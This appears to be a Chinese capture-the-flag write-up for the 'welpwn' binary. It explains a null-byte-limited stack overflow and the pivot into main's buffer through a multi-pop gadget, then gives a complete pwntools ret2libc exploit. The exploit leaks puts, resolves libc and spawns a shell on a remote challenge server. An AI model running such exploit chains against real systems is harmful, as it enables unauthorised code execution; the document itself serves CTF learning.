攻防世界 welpwn wp
先看保护机制

64位的题目,开了nx和Partical RELRO
我们再ida看看有没有什么漏洞

主函数就输入一个buf,长度为0x200,我们再去看看echo函数

发现他就是把主函数buf中的内容复制到s2里,s2的长度为0x10,那么我们不是就可以栈溢出了,不过要注意,这个复制有个条件就是遇到0就停止,那么一个问题就来了,我们用p64封装是肯定会有0的,那么也就是说我们只能封装一个!这可怎么办,因为我们要泄露libc的话我们需要的代码是p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)我们需要4个封装,怎么办呢,我们发现main函数的buf数组是从rsp开始的,那么我们根据函数调用栈的原则我们就能发现echo返回地址的下一个就是我们main函数的rsp了,那么我们就可以从echo函数的栈直接溢出到main函数的栈不就好了,然后我们计算一下,我们从echo函数的返回地址下来会遇到0x18个a(我是用a来填充的),那么我们需要把这些pop掉,而且要一次性,所以我们要找一个gaget才行,然后再加上gaget本身,也就是要pop4次,我们想到那个万能gaget不就是有一个gaget连续pop很多次吗

就是这个片段,我们从pop r12开始就行
exp:
from pwn import *
from LibcSearcher import *
p=remote('111.200.241.244',55926)
elf=ELF('./welpwn')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pop_rdi=0x4008a3
pop_24=0x40089c
main=0x4007cd
p.recvuntil('RCTF\n')
payload=b'a'*0x18+p64(pop_24)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.send(payload)
p.recvuntil('\x40')
puts_add=u64(p.recv(6).ljust(8,b'\x00'))
libc=LibcSearcher('puts',puts_add)
libc_base=puts_add-libc.dump('puts')
system=libc_base+libc.dump('system')
binsh=libc_base+libc.dump("str_bin_sh")
p.recvuntil('\n')
payload=b'a'*0x18+p64(pop_24)+p64(pop_rdi)+p64(binsh)+p64(system)
p.send(payload)
p.interactive()

浙公网安备 33010602011771号